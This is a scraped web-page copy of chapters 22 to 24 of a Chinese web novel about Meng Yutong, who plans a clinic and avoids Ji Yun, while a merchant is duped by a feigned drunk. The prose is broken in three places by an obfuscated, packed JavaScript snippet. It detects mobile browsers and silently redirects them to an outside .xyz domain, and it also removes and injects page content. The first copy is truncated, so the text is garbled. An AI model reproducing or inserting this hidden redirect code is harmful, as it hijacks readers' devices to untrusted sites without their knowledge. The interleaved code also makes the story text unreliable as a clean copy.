d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16164067|180116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起彼伏。 一个提着竹篮的香囊小贩尤为卖力，他手中举着一根长长的竹竿，上面挂满了五颜六色、针脚细密的香囊。 那小贩见他们走近，更是抖擞精神，拖着长腔吆喝：“哎——上好的安神香、驱蚊香、女儿香！檀香、沉香、苏合香，闻一闻神清气爽，挂一个百病全消咯——！” 纪昀瞧了那琳琅满目的香囊一眼，随口问道：“上回孟姑娘落下的那只香囊，其味舒缓宁神，清雅不俗。其中当有甘松、苏合、安息香……” 他微微侧首，目光落在她被灯光勾勒得柔和的侧颜上，“……然则，尚有一味香，清甜之中隐带微苦，后调又透出几分酸，颇为独特。不知是何物？” 他怎么会突然对那只香囊感兴趣？ 孟玉桐心中疑窦丛生。纪昀这人性子淡的很，除了与医药相关的事，倒没见他对别的上心。 她用余光斜眼瞧他，两人这般靠近，能清楚看见他眼底有淡淡乌青之色。 她忽然想起纪昀的失眠之症。 或许是那只香囊对他的症状有所改善。他这才向她问询其中配比。 孟玉桐压下心中种种猜测，缓缓道：“取岭南荔枝风干后剥下的外壳，细细研磨成粉，烘制时再加入少许陈年普洱的茶末，取其苦涩回甘之意，有安神定志、清心除烦之效。” 纪昀眉心微动，眼中掠过一丝极淡的兴味，“孟姑娘心思灵巧，我倒是第一次听说这样的制香法子。” 孟玉桐笑笑，说起她感兴趣的东西，她的话便比平时多些，“幼时家父自岭南行商归来，曾捎回一匣稀罕的荔枝。那时年幼贪嘴又吝啬，每日只舍得啖一颗，余下半匣竟生生风干了。 “弃之可惜，我便自己胡乱鼓捣着塞进了香囊里。未曾想，那气味竟意外地清幽舒朗，令人心绪安宁。这方子，便也留了下来。” 再往前不过五步，就要到珍味楼了。 孟玉桐停下步子，看向纪昀，“纪公子方才问了我许多问题，礼尚往来，我能否也问公子一个？” 23. 第 23 章 微凉的夜风悄然撩动纪昀紫棠色云锦袍角，也拂起孟玉桐鬓边几缕青丝。 两人静静相对而立，周遭人声鼎沸，车马缓缓驶过，纪昀的声音一如往常清润淡然，“孟姑娘但问无妨。” “在纪公子心中，觉着我是什么样的人？” 月色恰好落入她乌黑的眸底，漾开一片细碎而清冷的光影，四周分明热闹喧嚣，可她眼中却好似藏了一片孤茫。 他眼帘微垂，复又抬起，眸光在她脸上停留片刻，薄唇轻启，开口说的是：“姑娘芳名远扬，温婉毓秀，大方贤淑。” 纪昀这番话和自己所料想的差不多。 孟玉桐点点头，唇角忽地向上弯起，绽开一道极明艳的笑，眼底却带着疏离与冷漠，“可能要叫纪公子失望了，我不是那样的人。” “我出身商户，性子倔强，未来或许会做许多旁人觉着惊世骇俗之事，亦非贤良新妇之选。” 纪昀静静望着她，那双惯常清冷的凤眸深处，仿佛有极其细微的波澜一闪而逝。 这锋芒毕露、自毁名声的姿态，究竟是她本性流露，还是刻意为之的伪装？ 她想做什么？ “姑娘！”一声带着哭腔的呼喊骤然打破这紧绷的寂静。 白芷从珍味楼方向疾奔而来，一把抱住孟玉桐，声音哽咽：“姑娘您上哪去了！奴婢和桂嬷嬷找遍了八珍坊，魂都快吓没了！” 桂嬷嬷紧随其后，气喘吁吁，拉着孟玉桐上下打量，确认无虞，才拍着胸口连声道：“阿弥陀佛，菩萨保佑！没事就好！没事就好！ 孟玉桐温言安抚着惊魂未定的两人：“莫慌，方才遇见位故人，多聊了几句，累你们担心了。” 待她安抚好丫鬟嬷嬷，再抬眼望去，发现纪昀不知何时已经离开了。 也好。 她心中漠然。 方才那番剖白，不过是为日后祖母退亲铺路。 他作何感想，是惊是怒，抑或如释重负，皆与她无关。 或许，经此一晤，他们本就不该有交集的人生，将彻底走向平行。 “姑娘，”白芷接过她手中装着玉簪的锦盒，心有余悸地问，“纪公子是在哪儿找到您的？可真是帮了大忙了！” “找到？”孟玉桐眉心微蹙，捕捉到关键，她同纪昀不是偶遇么？ “是啊，”白芷用力点头，急急解释，“方才奴婢和桂嬷嬷在八珍坊寻不见您，急得团团转。那郑掌柜只顾着唾沫横飞地训斥伙计，哪肯理会我们。恰巧碰见纪公子回府路过，奴婢实在没法子，只好硬着头皮求他帮忙寻人……纪公子二话没说就应下了。” “所以他本来是准备回去的，你们让他帮忙找我，他才折返回去寻我？”孟玉桐有几分诧异。 印象中，他不是这般多管闲事的人。 白芷点点头，见孟玉桐神色有些不自然，白芷忙道：“姑娘，我们是不是不该把纪公子叫上的？奴婢同桂嬷嬷方才也是一时慌了，这么大个御街，我们两人真不知上哪儿去找。” “没事，”孟玉桐安慰道，“我们先回去罢。” 八珍坊这头，崔二成与梅三架着刘思钧走着醉步摸到了八珍坊门口。 阿昌面如土色，垂首鹌鹑般缩在角落。 郑辉骂得口干舌燥，正抱着凉茶壶‘咚咚咚’牛饮。 “刘公子回来了！”阿昌如蒙大赦，慌忙去接茶壶。 郑辉抹了把嘴，瞧见刘思钧那副烂醉如泥的模样，眼中狠厉顿消，嘴角勾起一丝不易察觉的冷笑。 他朝阿昌猛使眼色，示意速备新契，自己则堆笑迎上：“快，快扶刘公子进来歇着！” 刘思钧被安置在内间软榻，悠悠“转醒”。郑辉殷勤地在一旁打扇：“今日良辰，刘公子可尽兴了？” 刘思钧猛地凑近，一个响嗝直冲郑辉面门。秽气熏得郑辉连退数步，几欲作呕。 “不……不够！”刘思钧挥舞着手臂，推搡崔二梅三，“拿……拿酒来！” 郑辉暗暗啐了一口，强压恶心挤出笑脸，“刘公子，酒多伤身，还是莫要再喝了。” “郑掌柜说得对！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170922|180116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刘思钧突然高喝，重重拍在郑辉肩上，“我就听掌柜的，不喝了！” 郑辉顺势道：“正好公子在这儿，方才阿昌找公子补的那契书，公子不如顺手落个款，省得日后麻烦。” “签！”刘思钧又在他背上狠拍一掌，“拿笔来！” 郑辉被拍得龇牙咧嘴，脸上青一阵白一阵，费力将他推开。 阿昌拿着拟好的两份契书疾步而入，在刘思钧面前将两份契书摊开，又恭恭敬敬将笔递过去。 刘思钧抓过笔，醉眼迷蒙地摆手，“这……这补签新的自然没……没问题，可那旧契……得拿出来当面烧了才作数！” 郑辉连连点头，耐着心哄他，“刘公子说得是，只是这旧的不是丟了吗？咱们直接签这新的也是一样！” 刘思钧闻言将手中的笔掷出去老远，摇头耍赖：“旧的不烧，我就不签这新契。” 阿昌偷偷看郑辉一眼，见他咬牙点头，于是忙不迭又跑了出去寻那旧契。 不多时，他便拿着旧契跑了进来。 两人当着刘思钧的面烧了旧契。 “这下可以签了吧？”郑辉这一晚上被磨的没了脾气。 刘思钧点头如捣蒜，“签！签！” 他抓起新契，笔还未落—— “哇——！” 秽物如喷泉般倾泻而出，瞬间淹了桌案。 近在咫尺的郑辉与阿昌首当其冲，被溅了满身污秽。 “竖子欺人太甚！”郑辉暴跳如雷，指着刘思钧破口大骂。 看了半天热闹的崔二成和梅三这才慢悠悠上前拉他，“掌柜的莫要同我们少当家的一般见识，少东家醉后便是这般腌臜德行！您二位先回，待明日他酒醒，我们押他备好新契，亲自登门赔罪！” 眼看那刘思钧已经歪在榻上不省人事了，再多痴缠也无意义。 郑辉看着自己狼藉的衣袍，气得浑身发抖，恨恨一跺脚，拂袖而去。 阿昌也灰溜溜跟上。 待两人离开，屋中忽然传来三人洪钟一般的笑声…… 24. 第 24 章 杏桃院内，月色如纱。浅浅银辉自天际漫洒而下，轻轻覆在院中的青砖小径上，勾勒出深浅不一的光影。 墙角的芭蕉叶上凝着夜露，在月色中泛着莹润的光。 屋内，孟玉桐散了发髻，懒懒倚在窗边软榻上，指尖无意识绕着垂下的青丝，唇角噙着一丝笑意。 折腾了许久，医馆的铺面终是定下了。 白芷端着安神茶进来，见她眉眼弯弯，也笑起来：“姑娘，铺面是有了，可接下来该忙活什么？那地方空落落的，离开张还远着呢。” 昨日虽同小姐一起将铺面落定了，可那不过也是件空荡荡的铺子，离她想象中的医馆还差着远呢。也不知后头该干些什么。 孟玉桐接过茶盏，暖意熨帖。她掰着手指数给白芷听，声音轻快： “开医馆，非比寻常铺子，章程繁琐复杂。 “其一，是去官府‘市易司’备案登记，缴纳契税，白纸黑字定下铺面归属，拿到红契才算踏实。 “其二，也是最紧要的一关，”她指尖轻轻叩了叩桌面，“‘医籍认定’。需得通过医官院主持的考核，考校《伤寒论》、《脉经》等医理根基，验明正身，确认确有行医开馆的资格。否则，便是无照行医，要吃官司的。 “其三，便是拿着医籍文书，去医官院领那方象征身份的‘医牌’。” “待这些官面上的关节打通了，才是购置药材、修葺馆舍、招募人手、择吉开张这些俗务。” 她顿了顿，想起前世纪昀在灯下批阅医官院考题时，自己曾好奇追问过这些流程，他虽神色清冷，倒也一一详释。 没想到这会儿倒是省了她不少事。 他惯常是这样的，待她称得上耐心，无论她问什么他都知无不言。 可再想要多的，也就没有了。 他们两人那几年相处着，倒不像是新婚夫妇，更像是……同一屋檐下搭伙过日子的。 他眼里只有他的医术，若说还有什么能引起他注意，拨动他心弦的……大概也只有瑾安公主了…… “眼下嘛，”孟玉桐放下茶盏，眸光沉静下来，思绪也渐渐收回，“铺面大致已定，下一步，便是要拿下这‘医籍认定’。” “嗨！这还用愁？”白芷一听，立刻眉开眼笑，“您这些年跟着老夫人读过的医书，摞起来可比奴婢都高。《本草纲目》您能倒背，《千金方》您烂熟于心，连那几本医圣孤本的疑难杂症，您一有空就钻研，医官院的考试，定是手到擒来！” 孟玉桐笑意微收，考核她自是不怕。 只是医官院……那是纪昀的地界。她去应考，风声难保不传到他耳朵里。 她重生以来待纪昀，避之唯恐不及。昨日街市里偶遇，相谈也不算畅快，偏生这一回还要主动凑上去，实是麻烦。 白芷见孟玉桐神色淡淡，以为她在思虑后续，又问道：“姑娘，等这些官面上的事情办妥了，馆舍也拾掇好了，咱们总得招人吧？煎药的、抓药的、洒扫的、迎来送往的……这可得不少得力的人手呢。您心里可有合适的人选？” 孟玉桐指尖在榻几上轻点。眼前忽地闪过一张黝黑朴实、咧嘴一笑便露出两排白牙的面孔——崔大成。 那热心肠又有一把子力气的性子，倒是个看店护院、跑腿办事的好料子。 可惜……她摇摇头。刘思钧他们，怕是早跑出临安地界，回秦州去了。 “不急，”她收回心思，语气轻快，“待铺子的红契落定，咱们去城西的人市看看。总能寻到些踏实肯干的。” 与白芷闲话完，孟玉桐也觉着有些疲乏了，便吹了灯就寝去。 翌日清晨，晨光熹微。御街两旁的铺子，一家家吱呀呀卸了门板，烟火气伴着吆喝声，渐渐盈满了长街。 郑辉早早起来，换上新袍，特意熏了香，神清气爽地踱向八珍坊。 昨夜秽气仿佛还在鼻尖萦绕，但想到即将到手的新契，心头那点腌臜便烟消云散。 他心中盘算着如何再敲那群乡巴佬一笔，脚步都轻快几分。 八珍坊门扉虚掩。郑辉皱眉推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16176842|180116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门而入，一股异样的冷清扑面而来。 “刘公子？崔大成？”他扬声唤道，无人应答。 “阿昌！”他心头一跳，厉声高喝。 阿昌连滚带爬从大门外奔进来，嘴唇哆嗦着，手指颤巍巍指向外头方向：“掌、掌柜的不、不好了！小人刚去他们落脚的‘悦来’客栈！人……人全跑了！客房空空，后院……后院只留下车辙印子，马厩也空了！” 郑辉看向脚边，一件沾满秽物、酸臭扑鼻的脏袍子——正是昨夜刘思钧“醉吐”时穿的那件。 店里他们寄卖的东西都清空了，只留下这么件臭袍子。 郑辉脑中“嗡”的一声，眼前发黑。 “跑了？！他们竟敢跑了？！”郑辉目眦欲裂，声音因极致的愤怒扭曲变调。 昨夜一幕幕电光火石般闪过脑海。 哪里是什么醉鬼！分明是装疯卖傻、金蝉脱壳的毒计！ 烧掉的是真旧契。他们根本就没打算签新契。 昨夜那场“醉戏”，就是为了拖住他，争取时间卷铺盖跑路！ “好！好一个刘思钧！”郑辉气得浑身筛糠，狠狠在那脏袍上踩了几脚，“竖子！狡诈恶徒！竟敢耍弄到爷爷头上！” 盛怒过后，恐惧如同潮水般迅速蔓延开来，冷汗一下子打透了刚换上的里衣。 那些寄卖的金玉首饰、预期的丰厚利润、账面应有的流水……还有他当初在李璟面前拍着胸脯打下包票的“稳赚不赔”…… 世子爷……一想到李璟对八珍坊是何等看重，郑辉只觉得两腿发软，几乎要站立不住，瘫软下去。 “找！”他猛地一把揪住旁边吓得瑟瑟发抖的阿昌的前襟，唾沫星子几乎喷到对方脸上，“给我去城门口堵着！去码头查！就是把地翻过来，也得把这群该死的秦州蛮子给我挖出来！立刻就去——！” 阿昌魂飞魄散，连滚带爬地冲了出去。 郑辉独自站在空荡的八珍坊内，强压下翻腾的怒火与恐惧，脑中飞快盘算着要如何同李璟交待。